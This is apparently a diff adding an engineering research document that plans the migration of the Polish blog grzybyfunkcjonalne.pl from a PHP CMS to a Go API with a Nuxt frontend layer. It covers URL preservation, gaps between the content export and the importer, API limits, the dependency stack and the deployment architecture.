+- **D-11:** The homepage marketing content (hero, about, why-us, CTA and the other sitemanager blocks, `content/blocks/*`, `content/homepage`, `content/blog` headers, the kontakt page content) moves **into the Nuxt app repo** as components plus i18n/markdown, with the current Polish copy carried over. The sitemanager `enable_*` toggles are dropped, and the design decides which sections stay. No sitemanager or blocks plugin port.
+- **D-12:** The main menu (`g15_menu`) becomes typed config in the app, and the FAQ (`g15_faq` slug `what-mushrooms-can-give-you`) becomes static i18n/markdown content in the app. Both get proper plugins later; todos `menu-plugin-port.md` and `faq-plugin-port.md` were added.
+- **D-13:** SEO and sitemap use **`@nuxtjs/seo` in the layer**: per-post meta, OG tags, canonical, robots (honor the per-page `robots_noindex` equivalents), and `sitemap.xml` generated from `/_journal/api/v1` plus the app's static pages. This replaces `eagle_seo` and `Golem15.Sitemap` for this site. `sm-sitemap-plugin` stays on the backlog.
+- **D-14:** The contact and newsletter forms are **dropped**. The kontakt page shows contact details and an email link only, and the newsletter stays in backlog 999.1. No new Go endpoints.
+
+#### URLs, i18n, migration, cutover
+- **D-15:** **The PHP public URLs stay identical**: `/`, `/blog` (with pagination), `/blog/:post`, `/autor/:author`, `/kontakt`, `/:category` (root-level catch-all, where known static routes take precedence), plus `/404` and `/error` behavior. Research must enumerate the real live URLs (including the pagination query/segment form and `trwaja-prace`) so none are lost. — **Reversibility:** one-way — search-indexed URLs; changing them later needs a 301 map.
+- **D-16:** **Polish only, i18n-ready**: `@nuxtjs/i18n` is wired in the layer and the app, the layer ships pl and en UI strings, and the site serves `pl` without a URL prefix. A later blog can enable more locales.
+- **D-17:** Content migration uses the Phase 15 **`journal:import-posts`** command fed by a PHP Journal export (the PHP repo already has `journal-export/*.json`), plus copying featured images and media into Go storage. Research must check that the export format matches the importer, and that slugs, authors, categories, tags, published dates and media references survive; it must flag gaps rather than patch over them.
+- **D-18:** **The phase stops at staging.** grzybyfunkcjonalne content runs end to end on staging (Go + Nuxt + imported posts) on the PHP site's server, with a smoke check that hits every old URL. The production switch is not a plan in this phase. Success criterion 1 counts as met once the site is served by SummerCMS on staging.
+
+### Claude's Discretion
+- Plan count and split, subject to the plan-count checkpoint and "unit tests are the last plan" (the layer gets Vitest or `node --test` tests, and app-local Go code gets Go tests).
+- How the layer exposes route configuration (`app.config`, runtime config or pages override) and token names.
+- How markdown renders on the Nuxt side (render server-side from the API's markdown or HTML field, whichever the Phase 15 API returns), with sanitization consistent with Journal's XSS rules.
+- Exact swr/ISR TTLs, supervisor/nginx config and scripts layout, modeled on `sm-summercmsio-app/deploy` and `scripts/`.
+- Whether the refreshed visual direction gets a `/gsd-ui-phase` UI-SPEC before planning (recommended, not required).
+- Run the security-review agent only if new Go endpoints or auth surface appear. None are planned.
+
+### Deferred Ideas (OUT OF SCOPE)
+- `sm-menu-plugin` port (todo `menu-plugin-port.md`)
+- `sm-faq-plugin` port (todo `faq-plugin-port.md`)
+- Sitemanager/blocks plugin port for editor-managed homepage sections
+- Contact form via a Go endpoint, and the newsletter signup (backlog 999.1)
+- English locale for grzybyfunkcjonalne.pl
+- Production cutover (nginx switch on the PHP server, Winter kept as rollback): an operational step after the phase
+
+#### Reviewed Todos (not folded)
+- `sitemap-plugin-port.md`: superseded for this site by `@nuxtjs/seo` sitemap (D-13); stays on the backlog for a site that needs editor-defined sitemaps.
+- `nest-framework-packages-under-modules.md`, `2026-10-01-benchmark-the-application-on-wintercms-vs-summercms.md`, `2026-10-07-translate-messages-as-nuxt-i18n-json-editor.md`: keyword matches only, not this phase.
+</user_constraints>
+
+<phase_requirements>
+## Phase Requirements
+
+No REQUIREMENTS.md IDs are mapped to Phase 16 (ROADMAP `**Requirements**: TBD`). The success criteria are the requirement source:
+
+| ID | Description | Research Support |
+|----|-------------|------------------|
+| SC-1 | grzybyfunkcjonalne.pl is served by a SummerCMS binary (Journal content, routing, i18n as the site needs); met on staging (D-18) | Deploy topology, nginx/supervisor sketches, migration runbook (default locale `pl` before import), smoke script over the 71 sitemap URLs + static routes |
+| SC-2 | Blog views live in a reusable place (`vue-journal-layer`) | Layer structure, `extendPages`-based configurable routes, tokens, i18n merge rules, pnpm git dependency mechanics |
+| SC-3 | Every public page PHP Journal + theme rendered has a named Go/Nuxt successor; sitemap if needed | URL inventory table (PHP file → URL → live status → Nuxt route), sitemap via `@nuxtjs/seo` dynamic source |
+| SC-4 | New code has unit tests in the last plan | Validation Architecture: `node --test` for layer/app TS utils, Go tests for host config/commands, smoke script |
+</phase_requirements>
+
+## Summary
+
+The Phase 15 API is usable for most of the layer, but four facts change the plan. Three are data facts and one is about the API:
+
+1. **The live post URLs use the Polish translation slug, not the export's base slug.** `https://grzybyfunkcjonalne.pl/sitemap.xml` lists 62 post URLs. All 62 match `translations.pl.slug` (or the base slug when no pl translation exists), and 57 of them differ from the base `slug` (e.g. live `/blog/blogbadania-nad-cordycepsem` vs base `badania-nad-cordycepsem`; the base-slug URL returns 404 live). The Go translate plugin seeds `en` as the default locale. The importer writes base fields to the host columns and pl to `golem15_translate_attributes`, and `GET /posts/{slug}` matches only the host `slug` column. So with the seeded locales every live post URL would 404 on Go. **Fix without code:** make `pl` the default locale (admin `makeDefault` action or SQL) **before** running `journal:import-posts`. `SetTranslated` then writes the pl values onto the host columns, so the API serves pl title/content/slug directly. [VERIFIED: live sitemap + export diff; sm-translate-plugin/updates/202610060005_seed_en_pl_locales.go:13-18; translatable.go:192-201; posts_helpers.go:55-60]
+2. **The export lacks data the site needs:** no author, no tags, no featured images (the PHP exporter skips attachments), no category names, descriptions or category "pillar" content. Category pages on the live site render about 13 KB of pillar HTML per mushroom (`category.content`). The Go `Category` model has no `content` column, and the API does not return one. Recommend that category pillar content and descriptions move into the Nuxt app as content keyed by category slug. That matches the D-11 treatment of non-Journal content and needs no API change, but it needs user confirmation (A3).
+3. **The API cannot serve an author page (D-05) as specified.** No author endpoint exists. The `author` list filter is editor-only. The serialized author is only `{id, first_name, last_name, login}`, with no slug, bio, avatar or subtitle. `sort=random` is not supported, but `related_posts` (latest 3 in the same categories) comes back with every single-post response and is the natural `randomPosts` successor. The author route is not linked anywhere on the live site and is not in the live sitemap. Imported posts also have no author. **Decision needed (Open Question 1).**
+4. **Saving an imported post in the admin would destroy its body.** The pl `content` is HTML, not markdown. `classes.FormatHTML` (goldmark without unsafe HTML) turns HTML content into `<!-- raw HTML omitted -->`. The importer is safe because the pl `content_html` translation overwrites the host column afterwards. But editing an imported post in `/gfadmin` would run `FormatHTML` again and wipe the rendered body. [VERIFIED: probe run this session, output pasted under Pitfall 2]
+
+**Primary recommendation:** Build `vue-journal-layer` as a Nuxt 4.4.8 layer:
+- Its page components sit outside `app/pages`, and a local module registers them with `extendPages`. Paths come from a `journal.routes` config key the app overrides. Route names stay stable.
+- A typed `$fetch` client calls `/_journal/api/v1`: an internal base URL on the server (forwarding `X-Forwarded-For`), same-origin from the browser.
+- `@nuxtjs/i18n` 10.4.0 and `@nuxtjs/seo` 5.2.1 run with a dynamic sitemap source.
+
+The site is `vue-grzybyfunkcjonalne-app` with `extends: ['vue-journal-layer']`, the grzyby tokens and static content, and `routeRules: { '/**': { swr: 300 } }`. It runs as `node .output/server/index.mjs` under supervisor next to the Go binary. nginx sends `/gfadmin`, `/_journal` and `/storage/app/**` to Go or disk, and everything else to Nuxt. Migration order: migrate → set pl default → import → fix category names and descriptions → copy media and featured images → smoke every old URL.
+
+## Architectural Responsibility Map
+
+| Capability | Primary Tier | Secondary Tier | Rationale |
+|------------|-------------|----------------|-----------|
+| Post/category/tag data, drafts, publish gate | API / Backend (Go `sm-journal-plugin`) | Database (Postgres) | Frozen contract (Phase 15 D-14); the layer is read-only |
+| Public HTML for every URL (SSR) | Frontend Server (Nuxt Nitro node-server) | — | D-07: full HTML for SEO, swr cache |
+| Route paths (`/blog/:post`, `/:category`, `/autor/:author`) | Frontend Server (layer route module + app config) | — | D-06/D-15: URL shape is a site concern, so the Go API stays path-agnostic |
+| HTML gate on `content_html` | API (Go `FormatHTML` on admin/API save) | Frontend Server (layer TS port of the same 3 regexes) | Imported translations bypass `FormatHTML`; defense in depth (see Security) |
+| sitemap.xml, robots.txt, canonical/OG | Frontend Server (`@nuxtjs/seo`) | API (data source) | D-13 replaces eagle_seo + Golem15.Sitemap |
+| RSS | API (Go `/_journal/api/v1/rss`) | Frontend Server (`/rss.xml` alias via nginx rewrite or Nitro proxy) | Live pages advertise `/rss.xml`; Go owns the feed |
+| Uploaded files (featured images, media) | CDN / Static (nginx serving `storage/app/**` from disk) | API (Go writes `system_files`) | The Go host mounts no static handler (see Pitfall 7) |
+| Admin `/gfadmin` | API / Backend (cabana + boardwalk SPA) | — | D-09 |
+| Homepage, kontakt, FAQ, menu, category pillar copy | Frontend Server (site app content) | — | D-11/D-12; A3 for pillar content |
+
+## Project Constraints (from CLAUDE.md)
+
+- Lean planning: few large plans; **present the plan count with one-line scopes and wait for confirmation before writing PLAN.md files** (rule 2). [VERIFIED: summercms.go/CLAUDE.md]
+- **Unit tests are always the last plan of the phase**; earlier plans may carry smoke tests only (rule 3).
+- Go: standard library first; add a dependency only when the research doc or a phase decision names it; `go vet` and `go test ./...` green at every commit in every Go repo touched (`sm-grzybyfunkcjonalne-app`, and `sm-journal-plugin` only if touched).
+- Compiled plugins only; no runtime plugin loading.
+- Commits: no co-author tags; one logical change per commit; planning docs and code in separate commits.
+- Framework/plugin/layer READMEs never name a consuming application. The `vue-journal-layer` README uses `blog`/`acme` and never "grzybyfunkcjonalne". `modules/*` README updates apply only if `summercms.go` is touched (not planned).
+- Core plugin contracts (user, blog, pages, payment) must not break; `sm-journal-plugin` API contract is frozen (Phase 15 D-14, CONTEXT "Out of scope").
+- Submodule workflow (`.planning/notes/core-plugins-own-repos.md`): commit inside the submodule and push first, then bump the gitlink in the app repo as a separate commit; never stage submodule files from the app repo.
+- Global user rule: no co-authored tags in commits.
+
+## URL Inventory (D-15)
+
+Sources: theme page files [VERIFIED: Read `themes/arsha/pages/*.htm` lines 1-3], Winter router sort [VERIFIED: `vendor/winter/storm/src/Router/Router.php:250-264` "Sorts all the routing rules by static segments, then dynamic"], live probes with curl on 2026-10-09 [VERIFIED: live HTTP], live `sitemap.xml` (71 `<loc>`: `/`, `/blog`, 7 category roots, 62 posts) [VERIFIED: live HTTP].
+
+**Note:** the live server does not run the code in the local PHP repo. It serves theme `pkurg-arsha` (asset paths `/themes/pkurg-arsha/...`), `/kontakt` returns 404 live, and an unknown `/:x` renders a page titled "Kategoria". Its page config matches `sources/grzybyfunkcjonalne.pl-old-golem/themes/arsha` (Golem15.Blog components `blogPosts`/`blogPost`). The URL patterns are identical in both trees. The table uses live status as the ground truth.
+
+| PHP page file | `url =` (verbatim) | Components / behavior | Live status (2026-10-09) | Nuxt successor (route name → path) |
+|---|---|---|---|---|
+| `category.htm` | `url = "/"` | homepage partial; `journalPostsHomepage` postsPerPage 3; `g15_faq` slug `what-mushrooms-can-give-you` | 200 | app page `index` → `/` |
+| `blog.htm` | `url = "/blog"` | `journalPosts` postsPerPage 12, sort `published_at desc` | 200; `/blog?page=2` 200 (title "Artykuły \| Strona 2", canonical keeps `?page=2`); `/blog?page=99` 200 empty; `/blog?page=abc` 200 | layer `journal-index` → `/blog`, `?page=N` |
+| `blog-post.htm` | `url = "/blog/:post"` | `journalPost` + `randomPosts` (3, `random`) | 200 for pl slug; 404 for base slug, unknown and unpublished | layer `journal-post` → `/blog/:slug` |
+| `index.htm` | `url = "/:category"` | category filter postsPerPage 10; **no category → homepage partial, status 200** (soft 404) | `/reishi` 200, `/reishi?page=2` 200; `/nieistnieje`, `/rss`, `/feed`, `/rss.xml` all 200 (soft) | layer `journal-category` → `/:category`; **404 when the slug is not a category** |
+| `autor.htm` | `url = "/autor/:author"` | `journalAuthor` + `journalPosts` (10) | `/autor/admin` 200 ("Admin Person"), canonical broken (`/autor/`); `/author/admin` 404 | layer `journal-author` → `/autor/:author` (see Open Question 1) |
+| `kontakt.htm` | `url = "/kontakt"` | `content-kontakt` (2 headings) | **404 live** | app page `kontakt` → `/kontakt` (D-14 contact details) |
+| `trwaja-prace.htm` | `url = "/trwaja-prace"` | `<h3>Niebawem</h3>` | 200 | app page `trwaja-prace` → `/trwaja-prace` (keep; static) |
+| `404.htm` | `url = "/404"` | error hero | 404 | Nuxt `error.vue` (no explicit route; `/404` falls to 404) |
+| `error.htm` | `url = "/error"` | 500 hero | 404 live | Nuxt `error.vue` handles 500; `/error` falls to 404 as live |
+
+**Non-page URLs served by PHP:**
+
+| URL | Source | Live | Successor |
+|---|---|---|---|
+| `/sitemap.xml` | `plugins/golem15/sitemap/routes.php` (definition: url `/`, all-blog-categories, all-blog-posts) | 200 XML | `@nuxtjs/sitemap` (via `@nuxtjs/seo`) with a dynamic source from the API |
+| `/sitemap.xsl` | same | 200 | dropped (cosmetic; the sitemap module ships its own XSL) [ASSUMED] |
+| `/robots.txt` | `plugins/golem15/seo/routes.php` | 200, body is the literal `Golem15` (broken) | `@nuxtjs/robots` (via `@nuxtjs/seo`) |
+| `/rss.xml` | `<link rel="alternate" ... href="/rss.xml">` in every live page head, but it is the soft-200 catch-all | 200 HTML (wrong) | **New:** nginx `location = /rss.xml` → Go `/_journal/api/v1/rss`, or a Nitro route proxy |
+| `/backend` | Winter admin | 200 | `/gfadmin` (D-09); `/backend` → 404 on the Go host (D-09 intentional) |
+| `/storage/app/uploads/public/**` | Winter uploads + `thumb_*` | 200 | nginx static from Go host disk |
+| `/storage/app/media/**` | media library (`las.webp`, `Artur Wolak.png` referenced by 32 post bodies) | 200 | nginx static from Go host disk |
+
+**Internal link forms found on live pages** (smoke targets): `/blog?page=N`, `/<category>` (7), `/blog/<pl-slug>`. Broken links, which stay broken or get fixed but must not be reproduced: `/blog/<category>?page=N` (category pagination partial bug; live 404) and `/author/` (journalAuthor partial). [VERIFIED: live HTML link extraction; `partials/pagination.htm:1-12`]
+
+**Routing rules for the successor:**
+- Static routes (`/blog`, `/kontakt`, `/trwaja-prace`) must beat `/:category`. Vue Router ranks by path specificity, and "The order of the `routes` array doesn't even matter!" [CITED: router.vuejs.org/guide/essentials/route-matching-syntax]. Static-over-param precedence itself is [ASSUMED] and is covered by the URL smoke test.
+- Category pagination successor: `/<category>?page=N` (live works). Do not generate `/blog/<category>?page=N`.
+- Pagination: `?page=N` query, not a segment. Recommend `page` > `last_page` → 404 and non-numeric → 404, both via `createError({ statusCode: 404, fatal: true })`. This differs from live (soft 200) but is SEO-correct (A5).
+- Canonical for paginated lists must keep `?page=N`, as live does. `nuxt-seo-utils` strips queries from canonical except a whitelist; `page` is believed to be in the default whitelist [ASSUMED]. The smoke test asserts it.
+
+## Journal Export vs Importer (D-17)
+
+Export: 105 files in `/media/nvme/dev/golem15/grzybyfunkcjonalne.pl/journal-export/`. 63 are published and 42 are drafts. 100 have a `pl` translation. Keys in every file: `slug, title, content, content_html, excerpt, metadata, published, published_at, categories, translations`. [VERIFIED: python scan this session]
+
+Importer struct [VERIFIED: sm-journal-plugin/console/export_posts.go:53-67], verbatim fields: `Slug`, `Title`, `Content`, `ContentHTML`, `Excerpt`, `Metadata`, `Sources`, `Published`, `PublishedAt`, `Categories []string`, `Translations map[string]map[string]any`, `AuthorEmail string json:"author_email,omitempty"`, `CategoryNames map[string]string json:"category_names,omitempty"`.
+
+| Item | Export has | Importer does | Survives? | Gap / action |
+|---|---|---|---|---|
+| Slug (live URL) | base `slug` + `translations.pl.slug` (57 differ; live = pl) | host `slug` = base; then `SetTranslated(pl)`; writes host if pl is default (`if locale == defaultCode { ... tx.Model(m).Update(column, ...) }`) | **Only if pl is the default locale before import** | Seed default is `'en', 'English', TRUE` / `'pl', 'Polski', FALSE` [VERIFIED: 202610060005_seed_en_pl_locales.go:13-18]. Set pl default first (admin Locales `makeDefault`, or SQL). |
+| Title / excerpt / content / content_html | base (older text; 52 titles, 100 contents differ) + pl (live text) | same mechanism; `stripUnpublishedTitlePrefix` removes `🔒 ` | Yes with pl default | Without pl default the API serves stale base text |
+| content format | published posts: base = markdown, pl `content` = **HTML** (61/63) | `FormatHTML(post.Content)` on base, then pl `content_html` overwrites | Yes at import | **Admin re-save destroys body** (Pitfall 2) |
+| published / published_at | `"2024-06-24 06:00:00"` style, UTC (PHP `'timezone' => 'UTC'`) | `parsePublishedAt` accepts `"2006-01-02 15:04:05"` | Yes | none |
+| Categories | slug list only (`cordyceps, reishi, chaga, shiitake, lions-mane, turkey-tail`; `amanita-muscaria` only on drafts) | creates missing category with `titleFromSlug` → "Lions Mane" (live "Lion's Mane") | Slugs yes; names partly; **no description, no pillar content** | Fix names and descriptions in `/gfadmin` (7 rows) or a seed step; pillar content → app (A3) |
+| Authors | **absent** (no `author_email`) | `user_id` stays nil | **No** | Posts render without author; author page empty (Open Question 1) |
+| Tags | **absent** (PHP exporter has no tags) | none | n/a | Live site uses no tags; tag route can be disabled for this site |
+| Featured images | **absent** (PHP `ExportPosts.php` warns "File attachments ... are NOT included") | none | **No** | Separate migration step (below) |
+| Inline media refs | absolute `https://grzybyfunkcjonalne.pl/storage/app/media/Artur%20Wolak.png` (32 occurrences) and `https://gf.uat.golem15.com/storage/app/uploads/public/660/fc7/c2e/660fc7c2e04d0300676113.png` (2) | stored verbatim | Yes if nginx serves `/storage/app/media/` | Copy `storage/app/media/`; the 2 UAT-host refs are already broken (flag, do not fix in this phase) |
+| Internal links in bodies | `https://grzybyfunkcjonalne.pl/lions-mane`, `/turkey-tail` (2 each) | verbatim | Yes (category routes kept) | none |
+| Re-import idempotency | — | existence check `db.Where("slug = ?", data.Slug)` uses base slug | **Breaks with pl default**: host slug becomes the pl slug, so a `--force` re-run does not find the row, creates a new one, and then hits `golem15_journal_posts_slug_unique` on the pl slug and rolls back the whole transaction | Run import once into a fresh DB; to redo, drop and re-migrate (Pitfall 3) |
+| Post IDs | not exported | new IDs | n/a | Featured-image mapping must key on slug |
+| Per-post SEO overrides (`golem15_seo_pages`) | not exported | n/a | No | Live post `<title>` = post title + " \| Grzyby Funkcjonalne"; derive from post fields (A6) |
+
+**Featured images: recommended path.** The source of truth is the PHP DB on the server (live `system_files` with `field = 'featured_images'`). The local `storage/app/uploads/public` is unreadable to this user and the local `gf_old.sql` is a 2024 Golem15.Blog dump. Two options:
+- **(a, recommended)** An app-local Go command in `sm-grzybyfunkcjonalne-app` (e.g. `grzyby:import-featured-images --map map.json --source <php uploads/public>`). It reads a slug → `{disk_name, file_name, content_type, file_size}` map produced by a one-off SQL query on the PHP DB, copies each original into the Go bucket under the same Winter partition key (`attach.BlobKey(diskName)` = `PartitionDirectory(diskName) + diskName`), and inserts an `attach.File` row (`AttachmentType` = `Golem15\Journal\Models\Post`, `AttachmentID` = Go post id as string, `Field` = `featured_images`). URLs keep their `/storage/app/uploads/public/xxx/yyy/zzz/<disk_name>` shape, so old image URLs keep working. Go code means Go tests (fits SC-4). [VERIFIED: attach/thumb.go:54-90; attach/file.go:26-45; host config/storage.yaml:3-4 `bucket_url: "file://./storage/app/uploads/public"`, `public_path_prefix: "/storage/app/uploads/public"`]
+- **(b)** A script that uploads each image through the existing write route `POST /_journal/api/v1/posts/{id}/featured-images` with a backend JWT. No new Go code, but new disk names (old image URLs die), and it needs an admin token.
+
+Recommend (a). Either way the PHP-side query needs server access (human checkpoint).
+
+## Journal API available to the layer (anonymous GET)
+
+[VERIFIED: Read sm-journal-plugin/routes.go:13-20]: verbatim `g.Get("/posts", ...)`, `g.Get("/posts/{slug}", ...)`, `g.Where("slug", `[a-z0-9][a-z0-9\-/]*`)`, `g.Get("/categories", ...)`, `g.Get("/tags", ...)`, `g.Get("/rss", ...)`, group middleware `surf.Use("throttle:journal-public-api")`.
+
+| Need (D-05) | API support | Evidence | Layer approach |
+|---|---|---|---|
+| List + pagination | `GET /posts?page=&per_page=&sort=&category=&tag=&search=`; envelope `{data, meta{current_page,last_page,per_page,total}}` | posts.go:41-42, 101-112; lagoon/paginate.go:4-15 | Pass `page`, `per_page`; read `meta.last_page` |
+| Page size | `defaultPerPage = 9`, `maxPerPage = 30` | posts.go:23-26 | grzyby sizes 12/10/3 fit |
+| Sort | columns `published_at`, `created_at`, `updated_at`, `title`, `id` + `asc`/desc; **no `random`** (PHP API.md lists `random`) | posts.go:469-486 | Configurable sort among those values |
+| Single post | `GET /posts/{slug}` → `{data: {...post, previous_post, next_post, related_posts}}`; 404 `errPostNotFound` for draft/future | posts.go:119-153 | `related_posts` = `randomPosts` successor |
+| Related posts | same category, `Order("published_at DESC").Limit(3)`; **empty when the post has no category** (1 published post has none) | posts_helpers.go:133-153 | Fallback: latest 3 excluding current |
+| Post fields | `id, title, slug, excerpt, content, content_html, reading_time, published, published_at, is_pinned, metadata, sources, author, categories[{id,name,slug}], tags[{id,name,slug}], featured_images[{id,url,file_name,file_size}], featured_image_url, translations, created_at, updated_at` | posts.go:547-568 | Render `content_html` (HTML; markdown is not re-rendered client-side) |
+| Dates | `"2006-01-02T15:04:05+00:00"` UTC | wire/response.go:41-43 | Format with `Intl.DateTimeFormat('pl-PL')` |
+| Category listing | `GET /categories[?include_empty=1]` tree `{id,name,slug,description,parent_id,nest_depth,post_count,children?}`; **empty categories omitted by default** | posts_helpers.go:155-216 | Always pass `include_empty=1` when resolving `/:category` (`amanita-muscaria` has 0 published posts but is in the live sitemap) |
+| Category filter | `category=<slug or id>` matches the **host** slug column, includes nested children | posts.go:65-71, 495-516 | OK with pl default |
+| Tags | `GET /tags` `{id,name,slug,post_count}`; `tag=` filter | posts.go:176-190, 518-528 | Layer tag route; disabled for grzyby (no tags) |
+| Author page | **No endpoint.** `author=` filter only for editors (posts.go:58-64). Author object `{id, first_name, last_name, login}` (posts.go:576-581): no slug/bio/avatar/subtitle | — | **Gap: Open Question 1** |
+| RSS | `GET /rss` RSS 2.0; item link `site + "/blog/" + p.Slug`; `site` = config `url`, else `scheme://Host` with `scheme := "http"` unless TLS | rss.go:74, 122-133 | Set `SUMMER_URL=https://<host>` on the Go process or RSS links come out `http://` behind nginx (Pitfall 6) |
+| Rate limit | `journal-public-api` 120/min keyed on `surf.ClientIP`; `127.0.0.1/32` is a trusted proxy in host `config/http.yaml:15-16` | plugin.go:69-82; surf/clientip.go:16-46 | SSR fetches must forward `X-Forwarded-For` or all visitors share one 120/min bucket (Pitfall 5) |
+
+## Standard Stack
+
+### Core (layer and site app; versions pinned as in `vue-summercmsio-app/package.json`)
+| Library | Version | Purpose | Why Standard |
+|---------|---------|---------|--------------|
+| nuxt | 4.4.8 (published 2026-06-08) | SSR framework, layers, Nitro node-server | Project standard (D-01) [VERIFIED: vue-summercmsio-app/package.json; npm registry] |
+| vue | 3.5.35 | UI runtime | Pinned with Nuxt in the summercms.io app |
+| @nuxtjs/i18n | 10.4.0 | pl/en UI strings, `prefix_except_default` | D-16 [VERIFIED: package.json] |
+| @nuxtjs/seo | 5.2.1 | bundles `@nuxtjs/sitemap` 8.6.1, `@nuxtjs/robots` 6.2.4, `nuxt-seo-utils` 8.6.1, `nuxt-schema-org`, `nuxt-og-image`, `nuxt-link-checker`, `nuxt-site-config` | D-13 [VERIFIED: node_modules/@nuxtjs/seo/package.json dependencies] |
+| @nuxt/fonts | 0.14.0 | self-hosted fonts (grzyby used Open Sans + Jost + Poppins from Google) | D-01 |
+| typescript | 5.9.3 (dev) | types | Pinned |
+| Node | 22.22.0 (`.nvmrc`), `engines >=22.18` | runs `node --test` on `.ts` and the Nitro server | [VERIFIED: vue-summercmsio-app/.nvmrc, package.json] |
+| pnpm | 11.3.0 locally; lockfile v9 | install, git dependency | [VERIFIED: `pnpm --version`] |
+
+### Supporting
+| Library | Version | Purpose | When to Use |
+|---------|---------|---------|-------------|
+| `nuxt/kit` (re-export of `@nuxt/kit`, ships inside `nuxt`) | 4.4.8 | `defineNuxtModule`, `extendPages`, `createResolver`, `addServerHandler` in the layer's local module | Always (no new dependency) [VERIFIED: node_modules/nuxt/kit.d.ts `export * from '@nuxt/kit'`; @nuxt/kit index.d.mts:301 `declare function extendPages(...)`] |
+| `sanitize-html` | 2.17.7 (pin; avoid 2.18.0, 9 days old) | full HTML sanitizer | **Only if** the user rejects the "port Go's 3-regex gate" recommendation (A4). `[ASSUMED]` name source: training knowledge. [WARNING: flagged as suspicious (`too-new` on latest) — verify before using.] |
+
+### Alternatives Considered
+| Instead of | Could Use | Tradeoff |
+|------------|-----------|----------|
+| Page components + `extendPages` from configurable paths | Layer `app/pages/blog/[slug].vue` overridden by app files | Overriding by filename cannot move `/blog/:post` to `/posts/:post` without copying page files, which fails D-06 |
+| Direct `$fetch` to Go (internal URL on the server, same-origin in the browser) | A Nitro BFF (`server/api/journal/**`) | A BFF adds a hop and caching layer; swr page caching already covers load; the BFF stays an option if sanitization moves server-only |
+| nginx serving `/storage/app/**` from disk | Mount `attach.StaticHandlerPublic` in an app-local plugin | The handler exists (attach/static.go:26-36) but no host mounts it; nginx static is the Winter precedent and needs no Go code |
+| `@nuxt/image` for resizing | Use the original `featured_image_url` with `loading="lazy"` and explicit sizes | Go has no public thumb route; `@nuxt/image` is a new dependency; defer |
+
+**Installation (layer `package.json`):** dependencies `@nuxtjs/i18n@10.4.0`, `@nuxtjs/seo@5.2.1`, `@nuxt/fonts@0.14.0`; devDependencies `nuxt@4.4.8`, `vue@3.5.35`, `typescript@5.9.3`. Per the Nuxt docs, anything the layer imports must be in its `dependencies`, and `nuxt` itself goes in `devDependencies` [CITED: nuxt.com/docs/4.x/guide/going-further/layers].
+
+**Site app `package.json`:**
+```json
+{
+  "dependencies": {
+    "nuxt": "4.4.8",
+    "vue": "3.5.35",
+    "vue-journal-layer": "git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.1.0"
+  }
+}
+```
+Do not list `@nuxtjs/i18n`/`@nuxtjs/seo` in the app at different versions; if listed, pin them identically to the layer (Pitfall 4).
+
+## Package Legitimacy Audit
+
+| Package | Registry | Age (pinned version) | Downloads | Source Repo | Verdict | Disposition |
+|---------|----------|-----|-----------|-------------|---------|-------------|
+| nuxt | npm | 4.4.8: 4 mo | 2.3M/wk | github.com/nuxt/nuxt | SUS (`too-new`, refers to latest 4.6.0) | Approved: pinned 4.4.8 is already locked in `vue-summercmsio-app/pnpm-lock.yaml` |
+| @nuxtjs/i18n | npm | 10.4.0 | 735k/wk | github.com/nuxt-modules/i18n | OK | Approved |
+| @nuxtjs/seo | npm | 5.2.1 | 120k/wk | github.com/harlan-zw/nuxt-seo | SUS (`too-new` on latest) | Approved: 5.2.1 already locked in the summercms.io app |
+| @nuxt/fonts | npm | 0.14.0 | (in use) | github.com/nuxt/fonts | not re-run | Approved: already locked in the summercms.io app |
+| sanitize-html | npm | 2.17.7: 2 mo | 11.6M/wk | github.com/apostrophecms/apostrophe | SUS (`too-new` on 2.18.0) | **Conditional**: only if A4 rejected; planner adds `checkpoint:human-verify` before install |
+
+Postinstall: `sanitize-html` `postinstall: null` [VERIFIED: seam signals]. No new Go dependencies are proposed.
+
+**Packages removed due to [SLOP] verdict:** none
+**Packages flagged as suspicious [SUS]:** `sanitize-html` (conditional); nuxt/@nuxtjs/seo SUS flags apply to latest tags, not the pinned versions already in the lockfile.
+
+## Architecture Patterns
+
+### System Architecture Diagram
+
+```
+Browser ──HTTPS──> nginx (staging vhost on the PHP server)
+                    │
+                    ├─ /gfadmin/**, /_journal/**          ──> Go binary (grzybyfunkcjonalne serve, 127.0.0.1:PORT_GO)
+                    │                                          ├─ cabana admin SPA (/gfadmin)
+                    │                                          └─ Journal API ──> Postgres
+                    ├─ = /rss.xml (rewrite)               ──> Go /_journal/api/v1/rss
+                    ├─ /storage/app/uploads/public/**,
+                    │  /storage/app/media/**              ──> disk (Go host storage/app/...), images only, nosniff
+                    └─ everything else                    ──> Nuxt Nitro (node .output/server/index.mjs, 127.0.0.1:PORT_NUXT)
+                                                              ├─ routeRules swr cache hit? ──yes──> cached HTML
+                                                              └─ miss: SSR page (layer route module decides page by path)
+                                                                     ├─ $fetch ${journal.apiBase} (internal http://127.0.0.1:PORT_GO/_journal/api/v1,
+                                                                     │          forwards X-Forwarded-For) ──> Go Journal API
+                                                                     ├─ 404 from API / unknown category / page out of range ──> error.vue (404)
+                                                                     └─ HTML + payload (content_html after TS html gate)
+Browser hydration / client navigation ──> same-origin /_journal/api/v1 (nginx ──> Go)
+/sitemap.xml ──> Nuxt @nuxtjs/sitemap ──> layer server source ──> Go /posts (paged) + /categories?include_empty=1
+```
+
+### Recommended Project Structure
+
+```
+vue-journal-layer/                    # new repo; neutral, never names a site
+├── nuxt.config.ts                    # modules: ['@nuxtjs/i18n','@nuxtjs/seo', resolve('./modules/journal')]
+│                                     # i18n locales pl/en (langDir via import.meta.url-resolved path), css tokens
+├── modules/journal.ts                # configKey 'journal': routes, perPage, apiBase; extendPages + sitemap source
+├── app/
+│   ├── app.config.ts                 # UI defaults (date format, related count, show author/reading time)
+│   ├── assets/css/journal-tokens.css # --journal-color-*, --journal-font-*, --journal-space-*, --journal-radius-*
+│   ├── assets/css/journal-base.css   # neutral styles using only tokens
+│   ├── components/Journal/           # PostCard, PostList, Pagination, PostBody, PostMeta, FeaturedImage,
+│   │                                 # RelatedPosts, CategoryHeader, AuthorCard, RssLink (overridable by name)
+│   ├── composables/                  # useJournalApi (typed client), useJournalLinks (route-name based URLs), useJournalPage
+│   ├── journal-pages/                # NOT app/pages: PostIndexPage, PostPage, CategoryPage, TagPage, AuthorPage
+│   └── utils/                        # pure TS, node --test friendly: types.ts, client.ts, query.ts,
+│                                     # pagination.ts, htmlGate.ts, routes.ts (path config validation)
+├── server/api/__sitemap__/journal.ts # defineSitemapEventHandler -> posts + categories
+├── i18n/locales/{pl,en}.json         # journal.* UI strings
+├── tests/*.test.ts                   # node --test
